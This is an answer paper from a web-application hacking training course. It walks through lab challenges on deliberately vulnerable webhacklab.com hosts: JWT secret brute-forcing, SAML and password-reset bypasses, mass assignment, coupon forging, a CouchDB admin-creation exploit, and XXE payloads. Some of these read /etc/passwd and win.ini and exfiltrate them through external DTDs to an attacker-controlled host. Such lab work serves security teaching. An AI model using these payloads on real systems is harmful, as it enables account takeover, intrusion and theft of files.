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Module: Attacking Authentication 

and SSO 
 

Boundary Condition 

Challenge URL: http://shop.webhacklab.com/login.php 

• Bypass the login security feature to login as user “bcuserX@webhacklab.com”. 

Solution: 

Step 1: The online shopping application has implemented a login mechanism to safeguard against 

brute-force, by randomly asking for the characters at different locations in the password (e.g. 1st, 

2nd, 5th and 6th character) for each login request. We have taken the user “john@webhacklab.com” 

to demonstrate the solution. 
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Step 2: Initiate a login request for your account and intercept it in Burp proxy and send it to the 

intruder. Set the same location value in all the parameters, set the attack type to “Battering ram” and 

try to brute force using all characters. This fails suggesting that the location value should be 

different.  

This will lock the accounts for 2 minutes as the application has a rate limiting of 15 attempts. 
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Step 3: Send the request to repeater and set the location parameters to greater than 10 assuming 

that the password length is less than or equal to 10 (sCharacter[11], sCharacter[12], sCharacter[15] 

and sCharacter[16])  and remove the parameter values. If this fails we can try with higher numbers 

(e.g. 17,18,19,20). This attack assumes that the application will see different locations (all greater 

than the length of the original password) with empty values and match them as NULL resulting in a 

TRUE output. 

 

Step 4: Replaying the same request in the browser would allow us to login as user 

“john@webhacklab.com”, similarly you can try the exercise as “bcuserX@webhacklab.com”.  
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JWT Brute Force Attack 

Challenge URL: http://topup.webhacklab.com/Account/Login 

• Login to the “topup” application using your registered account to generate the 

access token.  

• Brute-force the secret key for the JWT. 

• Generate a valid token for user “jwtuserX@webhacklab.com” and access all the 

order details.  

Solution: 

Step 1: Login to the “topup” application using your account and capture the ‘access_token’ in 

response. Here, we have used “smith@webhacklab.com” user account. 
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Step 2: Decode the JSON Web Token (JWT) using the website https://jwt.io/ and observe 

'unique_name' and 'email'. 

 

Step 3: Use the script “brute-jwt.py” from the directory “~/tools/json_web_tokens” to brute-force the 
“secret key” required for signing the token. 

root@Kali:~/tools/json_web_tokens# python3 brute-jwt.py --file secrets.txt --

algorithm HS256 --token <TOKEN_VALUE_HERE> 
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Identified “secret key” can be used to generate a new token for user “jwtuserX@webhacklab.com”. 

Alternative: Use the hashcat utility to brute-force the 'secret key' required for signing the token. 

root@Kali:~/tools/json_web_tokens# hashcat -a0 -m 16500 <FILE_CONTAINS_TOKEN> 

secrets.txt 
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Step 4:  Creation of a new token. Add “jwtuserX@webhacklab.com” in the “unique_name” and 

“email” parameters. Sign the token using the secret key “notsosecurekey1234” from the previous 

step. 

 

Step 5:  Set the newly generated “Access Token” in the “Authorization” header to gain access to the 

order details of the user “jwtuserX@webhacklab.com”. 
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SAML Authorization Bypass 

Challenge URL: http://topup.webhacklab.com/saml/SAML.aspx  

• Login as user “not-a-john@webhacklab.com”. 

• Decode the SAML data into XML format. 

•  Exploit SAML XML to login as user “john@webhacklab.com”.  

Solution: 

Step 1: Click on “Sign in with SAML (beta)” as shown in Figure: 
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Step 2: Click on “Sign in with OneLogin” as shown in Figure: 

 

Step 3: Enter 'not-a-john@webhacklab.com' in username field on the onelogin page as shown in 

Figure. 
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Step 4: Enter the password on the onelogin page as shown in Figure. 

 

Step 5: Click on continue button. 
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Step 6: The figure shows intercepted HTTP Request for the above step; we can analyse that this 

request contains SAML data: 

 

Step 7: The figure shows the intercepted HTTP request; we can analyze the email id “not-a-

john@webhacklab.com”: 
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Step 8: Replace email id “not-a-john@webhacklab.com” with “not-a-<!-- this is comment --

>john@webhacklab.com” as shown in the figure below. 

 

Step 9: As shown in the figure below, the XML parser returns the last child node as 

“john@webhacklab.com” 
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Step 10: The figure shows that we have successfully logged into user account 

“john@webhacklab.com”: 
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Module: Password Reset Attacks 
 

Cookie Swap 

Challenge URL: http://topup.webhacklab.com/Account/ForgotPassword   

• Change the password of the user “csuserX@webhacklab.com” through forgot 

password functionality. 

Solution: 

Step 1: Initiate the forgot password request as your user and select the method “Answer Security 

Question”, we are using “foo@webhacklab.com” as an authenticated user and 

“anant@webhacklab.com” as victim for walkthrough: 
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Step 2: Answer the secret questions and the application would redirect to the “Set New Password” 

page, as shown below: 

 

Step 3: Do not reset the password. We will revisit this page in Step 6.  
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Step 4: In another browser (or private browsing window), initiate the forgot password request as 

your target user “foo@webhacklab.com” (here “anant@webhacklab.com” the victim) into the 

application. Here, we have used “Firefox”: 

 

 

Step 5: Capture the value of the cookie ‘ ASP.NET_SessionId’ present in the response, as shown 

below: 
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Step 6: In the previous browser session Step 3, enter a new password and capture the request in 

Burp Suite: 

 

Step 7: Switch the value of cookie ‘ ASP.NET_SessionId’ with the one captured in Step 5 and 

forward the request. 

 

The password for user “anant@webhacklab.com” is now set to a new password “Newpass1234”. 

Similarly change the password of the user “csuserX@webhacklab.com”. 
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Host Header Validation Bypass 

Challenge URL: http://topup.webhacklab.com/Account/ForgotPassword   

• Bypass host header validation to perform header poisoning for your account. 

• Capture the password reset token. 

• Change the password of the account using the captured token. 

Solution: 

Step 1: Initiate the forgot password request as your user. 
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Step 2: Capture the request and change the value of the ‘Host’ header from 

“topup.webhacklab.com” to “attacker.com” and send it, the application accepts the request: 

 

Step 3: You will receive an email with a password reset link. However, the link has not been 

poisoned and contains the original domain ‘topup.webhacklab.com’. This suggests that the 

application is either not vulnerable or there is some header validation in place. 
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Step 4: Change the value of the header ‘Host’ in the request to 

‘topup.webhacklab.com.<Own_Domain>’ and send it, the application will again accept the request: 

 

 

Step 5: Start a python web server on port 80. 

root@Kali:~# python3 -m http.server 80 
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Step 6: Open the password reset email and notice that the email reset link now has our custom 

domain and the original domain as its subdomain: 

 

Step 7: Open the link and notice that python “SimpleHTTPServer” will receive a request containing 

the password reset code. 
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Step 8: By removing the injected domain from the password reset link we can go to the reset 

password page and change the account password. 

 

Step 9: Using the newly set password we can login into the account.  
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Module: Business Logic and 

Authz Flaws 
 

Mass Assignment 

Challenge URL: http://topup.webhacklab.com/api/user   

• Escalate privilege from a “bronze” user to a “gold” user through profile update to 

avail additional discount. 

Solution: 

Step 1: Login into the topup application and go to the profile page. Notice that the application shows 

that the user membership is “Bronze”. 
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Step 2: Select a topup and notice that no membership discount is provided for the user. 

 

Step 3: Update the user profile and intercept the request, as shown below: 
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Step 4: In the intercepted request add another JSON parameter ‘"membership":"Gold"’ and send the 

request. 

 

Step 5: Refresh the profile page and notice that the membership has been updated to “Gold”. 
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Step 6: Select the same topup and notice that an additional membership discount of 20% is 

provided (being a Gold member). 

 

Step 7: To complete the payment process, use a random number as the credit card number (do not 

use a real credit card number).  
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Invite/Promo Code Bypass 

Challenge URL: http://topup.webhacklab.com/Shop/Topup   

• Identify the promo code generation mechanism for O2 Mobile. 

• Brute-force and identify valid secret promo codes to get maximum discount on 

recharge (greater than 50%). 

Solution: 

Step 1: Login into the topup application and go to the vouchers feature. The application shows few 

promo codes to the user to get various discounts, such as 10%, 15%, 35% Cashback on Mobile 

topup/Bill Payments for different service providers. 
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Step 2: The coupon codes look random on the first look. However, a pattern seems to emerge on 

deep inspection of various voucher codes. The voucher codes seem to follow a pattern: 

Hex Decode Coupon Code: 

root@Kali:~# echo "4f324d31354d4152" | xxd -r -p 

HexDecode[4f324d31354d4152] = O2M15MAR 

O2M15MAR = ServiceProvider+DiscountValue+Month 

 

Note: Based on this analysis we can create a list of possible codes with higher discount value, for 

example: 

• HexEncode[O2M40MAY] = 4f324d34304d4159 

• HexEncode[O2M50MAY] = 4f324d35304d4159 

• HexEncode[O2M60MAY] = 4f324d36304d4159 
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We can also use the script “coupon.py” (in /root/tools/coupons) to generate such tokens, as shown 

below: 

root@Kali: ~/tools/coupons# python3 coupon.py O2M 60 | tee coupon_code.txt 
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Step 3: Input a sample coupon in the “coupon box” and capture the request. Provide a valid coupon 

value and forward the request, similarly, provide an invalid coupon value and forward the request. 

Based on the difference in response, we can identify if a provided coupon is valid or not. 

• Valid Coupon code with valid signature response: "status":"1" 

• Invalid/valid coupon code with the invalid signature response: “500 Internal server 

error” 

 

Step 4: The application validates the “sig” parameter based on request data, so application gives 

500 with changing code value. 

 

https://t.me/learningnets



NSS Training – AWH 5D Answer Paper 

Page: | 32 

 © Claranet Cyber Security 2021. All rights reserved 

Step 5: Observe the JavaScript code in the “checkout” page, it shows the method used to generate 

the “sig” parameter with the static key used for encryption purposes. 

 

Step 6: Regenerate the “sig” parameter for updated code value using the script provided. There are 

two arguments the script accepts; the first argument is “code” parameter, and the second argument 

is “pid” parameter: 

root@Kali: ~/tools/coupons# python3 coupon_request_sig.py 4f324d31354d4153 11 
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Step 7: Replace the “sig” parameter with the value generated using the above step. Now the “sig” 

parameter is validated successfully without errors, and it then proceeds to check the coupon’s 

validity. In this case, the coupon is invalid, so it returns the status as invalid.  

 

 

Step 8: Forward the request to intruder and configure payload type as “pitchfork” and select the 

“code” and “sig” parameter as the payload injection point. Create a list of coupon codes with 

different discount values, as discussed in Step 2 and provide them as the payloads. 

Create a file to store the sample coupon code. 

root@Kali: ~/tools/coupons# cat coupon_code.txt | cut -d" " -f3 | tee 

coupon_code.txt 
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Step 9: Generate the equivalent “sig” for the sample coupon code. 

root@Kali: ~/tools/coupons# python3 coupon_request_sig.py coupon_code.txt 11 | 

tee coupon_code_sig.txt 

 

Step 10: To run Burp intruder, grep the signature from the output. 

root@Kali: ~/tools/coupons# cat coupon_code_sig.txt | cut -d":" -f2 | tee 

coupon_code_sig.txt 
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Step 11: Configure intruder in such a way where attack type is “Pitchfork” and payload1 is “coupon 

code” (Load it from file coupon_code.txt) and payload2 is “sig” (Load it from coupon_code_sig.txt). 

 

Run the scan and based on the response, we can identify that the coupon code ‘4f324d36304d4159’ 

is valid and a discount of 60% is provided. 
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Step 12: Use the coupon code identified in Step 11 and buy a recharge at a discount of 60%. 
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API Authorization Bypass  

Challenge URL: http://topup.webhacklab.com/api/user  

• Identify the password question of “aabuserX@webhacklab.com” user.  

• Update the phone number of the user “aabuserX@webhacklab.com.com”. 

Solution: 

Step 1: Login to the application and navigate to the user profile functionality. In Burp proxy history 

notice that the application sends an API request to fetch user details.  

For the walkthrough we will be updating the phone number of “anant@webhacklab.com”. 
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Step 2: Remove the “email” parameter from the request and fetch the list of other users. 

 

Step 3: Using the ‘email’ of the user ‘anant’ fetch the user details.  
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Step 4: Change the HTTP request method in Step 1 to PUT and inject the response body identified 

in Step 3 in this request and add the header ‘Content-Type: application/json’.  And replace the 

'phoneNumber' parameter value. 
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Step 5: The application will update the details of the user “anant@webhacklab.com” without 

validating the authorization, as shown below. Similarly update the details of the user 

“aabuserX@webhacklab.com”: 
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HTTP Parameter Pollution (HPP)  

Challenge URL: http://misc.webhacklab.com:5984/_utils/ 

• Create a new user (userX) with “admin” role in the CouchDB instance. 

Solution: 

Step 1: Navigate to the application on the port 5984 on “_utils” directory and notice that it is 

CouchDB login portal. From the server response header, we can find that the CouchDB version is 

2.1.0: 

 

Step 2: A quick google search reveals that this version is vulnerable to ‘CVE-2017-12635’ allowing 
non-admin users to give themselves admin privileges: 
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Step 3: Based on the information available at 

https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635  craft a user creation 

(role:admin) request: 

PUT /_users/org.couchdb.user:new_adminX HTTP/1.1 

Host: misc.webhacklab.com:5984 

Accept: */* 

Accept-Language: en 

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; 
Trident/5.0) 

Connection: close 

Content-Type: application/json 

Content-Length: 114 

 

{ 

  "type": "user", 

  "name": "new_adminX", 

  "roles": ["_admin"], 

  "password": "new_adminX" 

} 
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Step 4: The requests fail as the application does not allow to directly create another admin: 

 

  

https://t.me/learningnets



NSS Training – AWH 5D Answer Paper 

Page: | 44 

 © Claranet Cyber Security 2021. All rights reserved 

Step 5: Craft another request with HPP we have used new_admin as an example please use userX 

to do the exercise.: 

PUT /_users/org.couchdb.user:new_adminX HTTP/1.1 

Host: misc.webhacklab.com:5984 

Accept: */* 

Accept-Language: en 

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; 
Trident/5.0) 

Connection: close 

Content-Type: application/json 

Content-Length: 114 

 

{ 

  "type": "user", 

  "name": "new_adminX", 

 "roles": ["_admin"], 

  "roles": [], 

  "password": "new_adminX" 

} 
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Step 6: The response shows that the user has been created. Similarly create a user “userX”. 
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Step 7: Now login with the newly created admin user, as shown below: 
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Module: XML External Entity 

(XXE) Attacks 
 

XML External Entity (XXE) 

Challenge URL: http://hc.webhacklab.com/   

• Identify and exploit XXE to extract the contents of the file “/etc/passwd”. 

Solution: 

Step 1: A health check reporter service is hosted on http://hc.webhacklab.com/   as shown below. 
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Step 2: Let’s try to access the ‘Version 1’ of the status API which consumes an XML file as shown 

below. 

http://hc.webhacklab.com/v1/api/status   
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Step 3: This feature can be exploited to retrieve “/etc/passwd” file by sending the below XML data in 

the POST request as shown below: 

<?xml version="1.0" encoding="ISO-8859-1"?> 

<!DOCTYPE foo [   

<!ELEMENT foo ANY > 

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 

<Object> 

<IP>&xxe;</IP> 

<Domain>test.com</Domain> 

</Object> 
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Advanced XXE Exploitation over OOB 

Challenge URL: http://hc.webhacklab.com/   

• Identify and exploit blind XXE over OOB channels on the API v2 to extract the 

contents of the file “/etc/passwd” from the host. 

Solution: 

Step 1: The version 2 of the Status Check API accepts JSON strings as an input. 

http://hc.webhacklab.com/v2/api/status   
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Step 2: Let’s check if this new API accepts XML as an input too by converting content type JSON to 

XML. 

 

 

Step 3: Let’s try to convert using JSON to XML Converter extension - “Content Type Converter”: 

https://portswigger.net/bappstore/db57ecbe2cb7446292a94aa6181c9278 
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Step 4: Alternatively, copy the following XML code to Burp repeater and observe that XML request 

works very well: 

<?xml version="1.0" encoding="ISO-8859-1"?> 

<Object> 

      <IP>10.1.1.1</IP> 

      <Domain>test.com</Domain> 

</Object> 
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Step 5: Let us try to retrieve the file using our previous XML payload to read “/etc/passwd” file. 

However as shown in the response below, no matter what we send to the application the application 

throws the same output. Hence, we cannot read the “/etc/passwd” file directly. 

<?xml version="1.0" encoding="ISO-8859-1"?> 

<!DOCTYPE foo [   

<!ELEMENT foo ANY > 

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 

<Object> 

<IP>&xxe;</IP> 

<Domain>test.com</Domain> 

</Object> 
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Step 6: In case of utilizing an OOB technique the best way to confirm whether our payload is getting 

executed or not is through DNS queries. For the below payload we expect to get DNS queries on 

our authoritative DNS server hosted on “userX.webhacklab.com” as shown below. 

<?xml version="1.0" encoding="ISO-8859-1"?> 

<!DOCTYPE foo [   

<!ELEMENT foo ANY > 

<!ENTITY xxe SYSTEM "http://abcd.userX.webhacklab.com" >]> 

<Object> 

      <IP>&xxe;</IP> 

      <Domain>test.com</Domain> 

</Object> 

 

Step 7: As can be seen in our “TCPDump” log we received a DNS resolution query from our victim 

host for the domain “userX.webhacklab.com” in our case “user7.webhacklab.com” confirming the 

OOB execution of our XML payload. 

root@Kali:~# tcpdump -n udp port 53 -i any 
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Step 8: To read the file, we will have to employ a similar Out-of-Band technique wherein will read 

the file over an FTP connection as shown below. 

Note: Host an external DTD file “ext.dtd” with the following content on your host “192.168.4.X”: 

<!ENTITY % d SYSTEM "file:///etc/passwd"> 

<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://192.168.4.X:2121/%d;'>"> 

 

 

Step 9: Start “XXEFTP” server. 

root@kali:~/tools/xxe/xxeserv# ./xxeserv -w 

 

 

Step 10: Start python web server to host ext.dtd file.  

root@kali:~/tools/xxe# python3 -m http.server 
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Step 11: Inject the payload following payload in the XML body of the captured request: 

<?xml version="1.0" ?> 

<!DOCTYPE extdtd [ 

<!ENTITY % ent SYSTEM "http://192.168.4.X:8000/ext.dtd"> 

%ent; 

%c; 

]> 

<extdtd>&rrr;</extdtd> 

 

Step 12: Notice that the “XXEFTP” server received the content of the file “/etc/passwd” as shown 

below: 
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XXE through SAML 

Challenge URL: http://topup.webhacklab.com/saml/SAML.aspx  

• Exploit SAML XML to perform XXE attack and extract the contents of the file 

“c:/windows/win.ini” from the host. 

Solution: 

Step 1: Initiate the login process in the topup application and select the login method “Sign in with 

SAML (beta)”. 
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Step 2: Select the “OneLogin” sign in method to proceed with the SAML based login. 

 

Step 3: Enter 'not-a-john@webhacklab.com' in username field on the onelogin page as shown in 

Figure. 
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Step 4: Enter the password on the onelogin page as shown in Figure: 

 

Step 5: Click on continue button. 
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Step 6: Submit the login request and intercept the request to the URL: 

http://topup.webhacklab.com/saml/consume.aspx  
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Step 7: Forward the intercepted request to repeater and go to the SAML tab (Burp Addon: SAML 

Editor). 
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Step 8: On the kali box, create a file (xxe.dtd) with the following content: 

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> 

<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.4.X:8000/?%data;'>"> 

Note: On the kali box, start the python server to host the “xxe.dtd” file.  

root@kali:~/tools/xxe# cat xxe.dtd 

 

root@kali:~/tools/xxe# python3 -m http.server 
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Step 9: In the Burp Repeater, under the SAML tab inject the following payload and submit the 

request: 

<?xml version="1.0" ?> 

<!DOCTYPE r [ 

<!ELEMENT r ANY > 

<!ENTITY % sp SYSTEM "http://192.168.4.X:8000/xxe.dtd"> 

%sp; 

%param1; 

]> 

<r>&exfil;</r> 

 

Step 10: Notice that, kali box should receive a request from the application host, will fetch the dtd 

file, execute it and further send another request containing the content of the file 

“c:/windows/win.ini”. 
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Step 11: We can decode the received URL encoded contents using Burp Decoder(Select Decode 

As - URL). 
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XXE in File Parsing 

Challenge URL: http://shop.webhacklab.com/career.php 

• Upload a file having “docx” type to perform an XXE attack and extract the contents of 

the file “/etc/passwd” from the host. 

Solution: 

Step 1: Navigate to the “Career” feature of the Shopping application which allows users to upload a 

resume in docx format. Upload a docx file “Resume.docx”(located in kali → “/root/tools/Docx_files/”).  
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Step 2: Using the utility “vim” for Linux (7zip for Windows), edit the “core.xml” file within the docx file 

and add the following payload: 

<!DOCTYPE root[ 

<!ENTITY xxe SYSTEM "/etc/passwd"> 

]> 

Within the ‘title’ tag add the following parameter: &xxe; 

  

 

Step 3: Upload the docx file with payload and the application will display the contents of the 

“/etc/passwd”. 

 

 

 
 

END OF PART - 1 
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